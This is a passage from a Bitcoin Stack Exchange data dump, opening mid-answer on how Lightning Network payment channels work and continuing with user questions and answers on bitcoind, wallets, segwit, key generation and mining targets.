src=&quot;https://i.stack.imgur.com/z1MCT.png&quot; alt=&quot;We add a new set of commitment transactions to update the “balance sheet”.&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;To make sure that neither of us can use the old commitment transaction the other signed previously, we each create a &lt;em&gt;justice transaction&lt;/em&gt; to prevent cheating. The justice transaction allows the channel partner to spend our timelocked output from our first commitment transaction to the themselves if we use the outdated commitment. If we use the correct commitment, the funds go to ourselves after the timelock passes, until then the counterparty can take the funds if we cheated.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;I.e. when I try to activate the (now obsolete) 0.05 - 0.05 BTC balance sheet, my paid-out funds are locked for a number of blocks. This gives you time to broadcast the justice transaction in which I signed off on my 0.05 BTC output being sent to you.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0LtsA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0LtsA.png&quot; alt=&quot;If either of us uses the outdated commitment transaction, the other party can take their funds&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;It's safe for me to give you your justice transaction, or really to anyone, because the justice transaction will only be valid as a response to the fraudulent use of the old commitment transaction.²&#xA;With the setup as described above, I'd have to come online before the timelock expires to catch an attempt at cheating, but obviously it wouldn't be safe for me to keep payment channels open if I might be offline for extended periods. Luckily, there are &lt;em&gt;watchtower&lt;/em&gt; services that take a small payment to monitor for cheating and can broadcast the justice transaction on your behalf when they detect it.&lt;/p&gt;&#xA;&lt;h1&gt;3. Network payment&lt;/h1&gt;&#xA;&lt;p&gt;Alright, now you and I can send money back and forth thousands of times, with almost instant effect (depending only on how fast we can communicate with each other) without adding any additional transaction to the Bitcoin blockchain. Yet, on the other hand, if one of us ever tried to defraud the other, they would be instantly taken to court by having the dispute resolved on the blockchain to their own detriment. Pretty spiffy, but not terribly useful yet.&lt;br /&gt;&#xA;By the theory of &lt;a href=&quot;https://en.wikipedia.org/wiki/Six_degrees_of_separation&quot; rel=&quot;nofollow noreferrer&quot;&gt;six degrees of separation&lt;/a&gt;, everyone is connected to any other participant via only a few hops.&#xA;Let's say you are getting some coffee from Bob the Barista. You do not have a payment channel with Bob, but you have the channel with me, and both Bob and me each have a payment channel with Alice. Let's assume that each payment channel has 100 m₿ in it, split equally.&lt;/p&gt;&#xA;&lt;p&gt;Our &amp;quot;network&amp;quot; now looks like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vT9CH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vT9CH.png&quot; alt=&quot;A series of three payment channel: You to Me, Me to Alice, Alice to Bob. Each channel has a balance of 50 on each side.&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now, since you don't have a direct payment channel to Bob (and it would be very inefficient if you had to create a payment channel with every business partner you ever meet), you route your payment through the network. Instead of only writing an update of the balance between Bob and you as I described above, this becomes a concerted effort: Your wallet finds a route from you to Bob that has a) sufficient liquidity, b) least fees, and c) fewest hops. To make a payment, each involved payment channel updates its balances. With a payment of 1 m₿ for the coffee, this updates our network to:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jZ8ij.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jZ8ij.png&quot; alt=&quot;The same series of three payment channels, but now every channel has a balance of 49 on the left side and 51 on the right side.&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;As you can see, the balances at the ends have shifted appropriately from you to Bob, but the other participants have the same balance (although shifted to other payment channels). It's important to realize, that the payment can only &lt;a href=&quot;https://bitcoin.stackexchange.com/q/43184/5406&quot;&gt;go through completely or not at all&lt;/a&gt;. Either we all update the balances, or no one does.&lt;/p&gt;&#xA;&lt;p&gt;Now, imagine that you don't have only the one payment channel with me, but you have maybe a half a dozen payment channels with other users! :)&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hTTAW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hTTAW.png&quot; alt=&quot;A sample network with ten users&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h1&gt;4. Cooperative channel closing&lt;/h1&gt;&#xA;&lt;p&gt;Other than in the above case where one side closes the channel unilaterally, one of us can request to cooperatively close a channel from the other. When we agree, we collaborate to create a final payout transaction that doesn't lock any funds and allows immediate spending after confirmation. We could even use this transaction to spend some of our balance directly to a third party on the blockchain, or to create another different payment channel. Let’s say I want to pay Carol on-chain when we close the channel after the second commitment transactions have been exchanged.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8ZPaP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8ZPaP.png&quot; alt=&quot;A transaction with the funding output as its input and three outputs. 0.6 to you, 0.2 to me, and 0.2 to Carol&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h1&gt;5. Trade-offs&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You cannot receive more money through the Lightning Network in one payment than the sum of your channel counterparties’ balances.&lt;/li&gt;&#xA;&lt;li&gt;Sender and receiver have to be online for a payment to be conducted.&lt;/li&gt;&#xA;&lt;li&gt;Your Lightning Network payments don't get recorded on the blockchain for eternity, (i.e. better payment privacy), but your Lightning node has a permanent identity and your announced channels’ funding outputs are publicly associated with your node’s identity (observers may guess how much funds you have deployed to the Lightning Network), or which outputs went to you when channels get closed.&lt;/li&gt;&#xA;&lt;li&gt;Instant payments! But your funds are tied up in payment channels. If you need those funds for an on-chain payment, you need to close the channel or splice out a payment with the assistance of your channel partner.&lt;/li&gt;&#xA;&lt;li&gt;Lower fees! Payments on Lightning don't require an on-chain transaction fee, but if you route payments through others payment channels, they will charge a proportional fee for the liquidity they provide. However, as other Lightning nodes are competing to transfer your payment for you, this costs much less than an on-chain transaction fee (unless the payment amount is huge).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1&gt;6. Further reading:&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/43184/5406&quot;&gt;How is a node in the middle prohibited from keeping the money in a routed Payment in Lightning network?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/42639/5406&quot;&gt;What are the trade-offs between transacting on LN and Bitcoin mainchain?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/43687/5406&quot;&gt;How are paths found in Lightning Network?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;sup&gt;¹ This examples is a so-called “dual-funded” channel. Many channels are funded only by one party upon creation. Channels funded by one party start off with the entire balance on one side and therefore only capable of sending payments but not receiving. Dual funded channels were recently implemented by some Lightning Network implementations for the first time.&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;sup&gt;² The commitment transactions and justice transaction mechanism are why Lightning needed the &lt;a href=&quot;https://bitcoin.stackexchange.com/a/21995/5406&quot;&gt;transaction malleability&lt;/a&gt; fix from segwit. We can only rely on this chain of half-signed, unconfirmed transactions if the transaction id’s of the prior transactions can be predicted reliably.&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2023-10-03T12:03:15.927" LastActivityDate="2023-10-03T12:03:15.927" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="43702" PostTypeId="1" CreationDate="2016-04-12T17:46:13.970" Score="2" ViewCount="163" Body="&lt;p&gt;What's the cost of running Bitcore on AWS or DigitalOcean? I know I'd need about 128gb of hardrive space, but I'm not sure how much the typical bandwidth costs would be, and how much RAM or cores I would need. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal is to create an API for looking up balances. Thanks for any advice!&lt;/p&gt;&#xA;" OwnerUserId="29899" LastEditorUserId="5406" LastEditDate="2016-04-13T13:00:00.087" LastActivityDate="2016-04-13T13:00:00.087" Title="What hardware and bandwidth requirements would a server need to fulfill to run Bitcore?" Tags="|api|bitpay|bitcore|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="43703" PostTypeId="2" ParentId="43700" CreationDate="2016-04-12T19:27:26.830" Score="11" Body="&lt;p&gt;Lightning allows you to lock coins between two wallets, and then send special transactions between each wallet which only become &quot;real&quot; when they are added to the blockchain. But you don't do that, because on-chain costs you more fees, so you keep updating the transactions between each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lightning not only makes it possible to send transactions off-chain from A to B, but also from A to B to C etc. Which would make it possible to create one big network, where most transactions happen off chain, you don't need to trust anyone and where all transactions are instantaneous.&lt;/p&gt;&#xA;" OwnerUserId="4764" LastActivityDate="2016-04-12T19:27:26.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43704" PostTypeId="1" CreationDate="2016-04-13T06:05:35.990" Score="1" ViewCount="1506" Body="&lt;p&gt;So MultiBit HD Wallet has been stuck for days and it's killing me. I've repaired the wallet numerous times but no luck. How can I proceed? 2nd time in the last week this has happened.. last time I was able to fix it. So I think I'm going to move wallets. Not very educated on the matter. So if anyone can tell me how to move my keys to a new wallet that would be great. Suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Image: &lt;a href=&quot;http://prntscr.com/armbu3&quot; rel=&quot;nofollow&quot;&gt;1&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="34742" LastActivityDate="2017-03-26T15:01:47.113" Title="Multibit HD Wallet Stuck For Days (Unconfirmed)" Tags="|client|multibit-hd|" AnswerCount="0" CommentCount="5" ClosedDate="2017-05-20T22:18:44.237" ContentLicense="CC BY-SA 3.0" />
  <row Id="43705" PostTypeId="1" AcceptedAnswerId="43706" CreationDate="2016-04-13T06:57:24.763" Score="1" ViewCount="2987" Body="&lt;p&gt;Is there a way to interact with Bitcoin-qt from Windows cmd and run commands like if I'm running them from Bitcoin-qt console?&lt;/p&gt;&#xA;" OwnerUserId="34455" LastEditorUserId="5406" LastEditDate="2016-04-13T12:51:10.687" LastActivityDate="2016-04-14T11:56:32.700" Title="Bitcoin-qt console on cmd" Tags="|bitcoin-core|windows|command-line-options|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43706" PostTypeId="2" ParentId="43705" CreationDate="2016-04-13T08:21:52.613" Score="2" Body="&lt;p&gt;While you have &lt;code&gt;bitcoind&lt;/code&gt; or &lt;code&gt;bitcoin-qt&lt;/code&gt; running with the &lt;code&gt;-server&lt;/code&gt; option, you can then use &lt;code&gt;bitcoin-cli&lt;/code&gt; to run commands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's part of the bitcoind package.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have your conf file in a custom directory you'll have to specify that to bitcoin-cli as well, otherwise it should just work.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastEditorUserId="5292" LastEditDate="2016-04-14T11:56:32.700" LastActivityDate="2016-04-14T11:56:32.700" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="43708" PostTypeId="1" CreationDate="2016-04-13T12:36:27.443" Score="3" ViewCount="403" Body="&lt;p&gt;Is the following scenario valid?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Some unhonest segwit mining pool takes top-1000 segwit utxo and mines a block at height N with a transaction which transfers all funds to his p2pkh address&lt;/li&gt;&#xA;&lt;li&gt;This block does not have segwit data portion, but it can be broadcasted to all non-segwit nodes on the network&lt;/li&gt;&#xA;&lt;li&gt;All other pools have a dilema - wait the segwit data associated with this block or start mining block N+1 on the top of N&lt;/li&gt;&#xA;&lt;li&gt;What if miners will use SPV-mining on the top of this block? They will create blocks at heights N+1, N+2... etc without checking the segwit-validity of block N&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Also asked here: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=1434842.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=1434842.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2016-04-13T14:42:18.150" Title="SegWit and SPV-mining. What if...?" Tags="|segregated-witness|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43711" PostTypeId="2" ParentId="43708" CreationDate="2016-04-13T14:42:18.150" Score="4" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Yes, they can do that.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Correct, though the switchover requires a 95% threshold to make the chance that old nodes see confirmations on such blocks very small.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Segwit nodes never accept blocks that have a witness commitment but no witness section. Either the block must not have a commitment (in which case it will be invalid, as script validation fails), or it is outright not accepted (because there is missing data; similar to a block with missing transactions isn't accepted).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Miners that don't validate a block before mining on top of it violate the security assumptions of the network. We can't prevent them from doing so (with or without segwit), but that is one of the reasons why block propagation and block validation needs to be low-latency: so that the potential advantage miners get from SPV mining is not too significant.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="208" LastActivityDate="2016-04-13T14:42:18.150" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="43712" PostTypeId="1" CreationDate="2016-04-13T16:59:37.620" Score="2" ViewCount="173" Body="&lt;p&gt;I understand the BIP9 version bits base is &lt;code&gt;0x20000000&lt;/code&gt; because the BIP specifies that the first three bits must be &lt;code&gt;001&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin Classic adds one more &quot;on&quot; bit &lt;code&gt;0011...&lt;/code&gt; to make &lt;code&gt;0x30000000&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why did BitcoinXT add THREE bits to the end to make &lt;code&gt;0x20000007&lt;/code&gt; instead of just flagging-on one single bit like classic? Or simply use &lt;code&gt;0x20000001&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="3667" LastEditorUserId="3667" LastEditDate="2016-04-14T16:47:39.130" LastActivityDate="2017-04-09T23:43:17.973" Title="Version bits: Why did BitcoinXT choose to set THREE bits to 1 (0x20000007) to flag BIP101?" Tags="|bitcoin-xt|bitcoin-classic|bip9-version-bits|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43713" PostTypeId="1" CreationDate="2016-04-13T18:37:52.190" Score="1" ViewCount="2748" Body="&lt;p&gt;I am using a CentOS server to build Bitcoin from source. After installing all of Bitcoin's dependancies on this build server, I have successfully built bitcoind and bitcoin-cli (the two binaries that I need). I then copy those binaries from the build server to the bitcoin server which of course is a fresh image of the CentOS. Now I'm wondering if I need to have BerkeleyDB 4.8 installed on the bitcoin server, or if I'm just not compiling/linking bitcoin properly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error as you would expect if BerkeleyDB 4.8 is not installed/linked properly: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error while loading shared libraries: libdb_cxx-4.8.so: cannot open shared object file: No such file or directory&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It was my assumption that I can install dependancies on one server, link and build bitcoin on that server, and then move the binaries to a server without scary build dependancies on it to run the binary in a clean environment. Someone please shed some wisdom on my lack thereof.&lt;/p&gt;&#xA;" OwnerUserId="34759" LastActivityDate="2016-11-10T04:14:31.160" Title="Can I run bitcoind without BerkeleyDB 4.8 installed?" Tags="|bitcoind|compiling|library|" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43715" PostTypeId="2" ParentId="43713" CreationDate="2016-04-14T00:21:23.557" Score="1" Body="&lt;p&gt;I feel stupid... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/doc/build-unix.md#berkeley-db&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/master/doc/build-unix.md#berkeley-db&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I followed that to the T and I got it working. Now I'm struggling with OpenSSL issues :/&lt;/p&gt;&#xA;" OwnerUserId="34759" LastActivityDate="2016-04-14T00:21:23.557" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43716" PostTypeId="2" ParentId="43705" CreationDate="2016-04-14T03:37:39.283" Score="0" Body="&lt;p&gt;The easiest way to do what you are trying to do is add one line to your &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/contrib/debian/examples/bitcoin.conf&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitcoin.conf&lt;/a&gt; file.  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;server=1&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The file exists in one of these locations: &quot;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/11190/where-is-the-configuration-file-of-bitcoin-qt-kept&quot;&gt;Where is the configuration file of bitcoin qt kept&lt;/a&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are also required configure a username and password when you do this by adding these additional lines. Always use a new secure random password that is unique to only this service (don't re-use it anywhere, and don't commit it to a source code repository) &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;rpcuser=Ulysseys&#xA;  rpcpassword=YourSuperGreatPasswordNumber_DO_NOT_USE_THIS_OR_YOU_WILL_GET_ROBBED_385593&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can now run the bitcoin-cli.exe command from cmd.exe (it is installed in c:\program files\bitcoin\daemon) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also worth noting that you do not have to run bitcoin-qt you can choose to run bitcoind and interact with bitcoin-cli as well.  &lt;/p&gt;&#xA;" OwnerUserId="6256" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2016-04-14T03:37:39.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43718" PostTypeId="1" CreationDate="2016-03-20T22:02:10.233" Score="0" ViewCount="841" Body="&lt;p&gt;My goal is to make my own bitcoin miner (in Go). But I am having an issue:&#xA;I am not getting &lt;code&gt;coinbasetxn&lt;/code&gt; in my &lt;code&gt;getblocktemplate&lt;/code&gt; request. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;curl -u user:password --data-binary '{&quot;jsonrpc&quot;: &quot;1.1&quot;, &quot;id&quot;:&quot;0&quot;, &quot;method&quot;: &quot;getblocktemplate&quot;, &quot;params&quot;: [{&quot;capabilities&quot;: [&quot;coinbasetxn&quot;, &quot;workid&quot;, &quot;coinbase/append&quot;]}] }'   -H 'content-type: application/json;' http://127.0.0.1:8332/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Fields in &lt;code&gt;result&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;coinbaseaux&#xA;previousblockhash&#xA;target&#xA;noncerange&#xA;transactions&#xA;mintime&#xA;sigoplimit&#xA;curtime&#xA;capabilities&#xA;height&#xA;version&#xA;bits&#xA;coinbasevalue&#xA;sizelimit&#xA;mutable&#xA;longpollid&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I am assuming I have to build it by myself.&#xA;What are the steps to do so please? Thanks a lot&lt;/p&gt;&#xA;" OwnerDisplayName="Arkon" LastActivityDate="2016-11-10T11:19:25.120" Title="Getting or Building coinbasetxn to create the Merkle Root" Tags="|merkle-tree|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43719" PostTypeId="2" ParentId="43718" CreationDate="2016-03-23T00:58:00.733" Score="1" Body="&lt;p&gt;The coinbasetxn is a field that results from a request from a pool. Have you seen this link here? &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/42183/how-to-compute-merkle-root-without-coinbasetxn&quot;&gt;How to compute merkle root without coinbasetxn?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are hitting your local block chain node which will give you the actual individual transactions in the transactions field. You can then use all the fields to create the coinbasetxn yourself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To build it yourself, I recommend reading example/actual code in another language in conjunction with the docs. Check out this link: &lt;a href=&quot;https://www.anintegratedworld.com/whats-in-a-block/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.anintegratedworld.com/whats-in-a-block/&lt;/a&gt; where you can read the wikipedia links and also see graphically the internals of a block. &lt;/p&gt;&#xA;" OwnerUserId="31581" OwnerDisplayName="cloudnthings" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2016-03-23T00:58:00.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43720" PostTypeId="1" CreationDate="2016-02-24T01:21:52.853" Score="0" ViewCount="5328" Body="&lt;p&gt;I managed to write the below code which will create public and private keys&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Private Key&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$input = &quot;satoshinakamoto&quot;;&#xA;$sha256 = hash(&quot;sha256&quot;, ($input));&#xA;echo &quot;&amp;lt;strong&amp;gt;Private Key: &amp;lt;/strong&amp;gt;&quot;.$sha256.&quot;&amp;lt;br/&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Public Key&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $step1 = hexStringToByteString(&quot;0450863AD64A87AE8A2FE83C1AF1A8403CB53F53E486D8511DAD8A04887E5B23522CD470243453A299FA9E77237716103ABC11A1DF38855ED6F2EE187E9C582BA6&quot;);&#xA;    echo &quot;&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Step 1:&amp;lt;/strong&amp;gt; &quot;.$step1.&quot;&amp;lt;/p&amp;gt;&quot;;&#xA;    $step2 = hash(&quot;sha256&quot;, $step1);&#xA;    echo &quot;&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Step 2: &amp;lt;/strong&amp;gt;&quot;.$step2.&quot;&amp;lt;/p&amp;gt;&quot;;&#xA;    $step3 = hash('ripemd160', hexStringToByteString($step2));&#xA;    echo &quot;&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Step 3: &amp;lt;/strong&amp;gt;&quot;.$step3.&quot;&amp;lt;/p&amp;gt;&quot;;&#xA;    $step4 = '00'.$step3;&#xA;    echo &quot;&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Step 4: &amp;lt;/strong&amp;gt;&quot;.$step4.&quot;&amp;lt;/p&amp;gt;&quot;;&#xA;    $step5 = hash(&quot;sha256&quot;, hexStringToByteString($step4));&#xA;    echo &quot;&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Step 5: &amp;lt;/strong&amp;gt;&quot;.$step5.&quot;&amp;lt;/p&amp;gt;&quot;;&#xA;    $step6 = hash(&quot;sha256&quot;,hexStringToByteString($step5));&#xA;    echo &quot;&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Step 6: &amp;lt;/strong&amp;gt;&quot;.$step6.&quot;&amp;lt;/p&amp;gt;&quot;;&#xA;    $step7 = substr($step6,0,8);&#xA;    echo &quot;&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Step 7: &amp;lt;/strong&amp;gt;&quot;.$step7.&quot;&amp;lt;/p&amp;gt;&quot;;&#xA;    $step8 = $step4.$step7;&#xA;    echo &quot;&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Step 8: &amp;lt;/strong&amp;gt;&quot;.$step8.&quot;&amp;lt;/p&amp;gt;&quot;;&#xA;    $step9 = bc_hexdec($step8);&#xA;    echo &quot;&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Step 9: &amp;lt;/strong&amp;gt;&quot;.$step9.&quot;&amp;lt;/p&amp;gt;&quot;;&#xA;    $step10 = bc_base58_encode($step9);&#xA;    echo &quot;&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Step 10: &amp;lt;/strong&amp;gt;1&quot;.$step10.&quot;&amp;lt;/p&amp;gt;&quot;;&#xA;    return $step10;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To generate public key I took reference from &lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_version_1_Bitcoin_addresses&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Technical_background_of_version_1_Bitcoin_addresses&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that link they provided Step by Step process and I followed the same and if &#xA;I input from &lt;code&gt;Step 1 in the link&lt;/code&gt; then I am able to convert the code to public key but I am not sure how to convert &lt;code&gt;Step 0 to Step 1&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;From:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;18E14A7B6A307F426A94F8114701E7C8E774E7F9A47E2C2035DB29A206321725&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0450863AD64A87AE8A2FE83C1AF1A8403CB53F53E486D8511DAD8A04887E5B23522CD470243453A299FA9E77237716103ABC11A1DF38855ED6F2EE187E9C582BA6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Document says&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Take the corresponding public key generated with it (65 bytes, 1 byte 0x04, 32 bytes corresponding to X coordinate, 32 bytes corresponding to Y coordinate)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does that mean? How can I generate this value from Private Key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question says &lt;a href=&quot;https://stackoverflow.com/questions/17672696/generating-bitcoin-address-from-ecdsa-public-key&quot;&gt;https://stackoverflow.com/questions/17672696/generating-bitcoin-address-from-ecdsa-public-key&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joining the &lt;code&gt;Elliptic Public Key&lt;/code&gt; and I still don't understand what are they.&lt;/p&gt;&#xA;" OwnerUserId="18926" OwnerDisplayName="lock" LastEditorUserId="-1" LastEditDate="2017-05-23T12:34:59.703" LastActivityDate="2022-01-28T23:07:36.933" Title="Generating Bitcoin Public and Private Keys" Tags="|php|hash|wallet|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43721" PostTypeId="2" ParentId="43720" CreationDate="2016-04-14T08:35:57.760" Score="-1" Body="&lt;pre&gt;&lt;code&gt;your priv = 18E14A7B6A307F426A94F8114701E7C8E774E7F9A47E2C2035DB29A206321725&#xA;X = priv x 79BE667E F9DCBBAC 55A06295 CE870B07 029BFCDB 2DCE28D9 59F2815B 16F81798&#xA;Y = priv x 483ADA77 26A3C465 5DA4FBFC 0E1108A8 FD17B448 A6855419 9C47D08F FB10D4B8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Secp256k1&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Secp256k1&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2016-04-14T08:35:57.760" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43722" PostTypeId="1" CreationDate="2016-04-14T11:16:41.197" Score="1" ViewCount="159" Body="&lt;p&gt;You get a specific Target value when you divide the maximum Target by the Difficulty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when you convert the Target in to the Bits format, you're only taking the first 3 bytes of the Target and losing some accuracy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Difficulty: 166851513282.78&#xA;&#xA;Original Target: 0x696f3ffffffe0c000000000000000000000000000000000&#xA;Target -&amp;gt; Bits: 0x180696f4&#xA;Bits -&amp;gt; Target:  0x696f4000000000000000000000000000000000000000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So when a Miner is trying to get a low enough hash value for the block, are they trying to get below the &lt;strong&gt;Bits&lt;/strong&gt; value or the &lt;strong&gt;Target&lt;/strong&gt; value?&lt;/p&gt;&#xA;" OwnerUserId="24926" LastEditorUserId="5406" LastEditDate="2016-04-14T13:09:40.873" 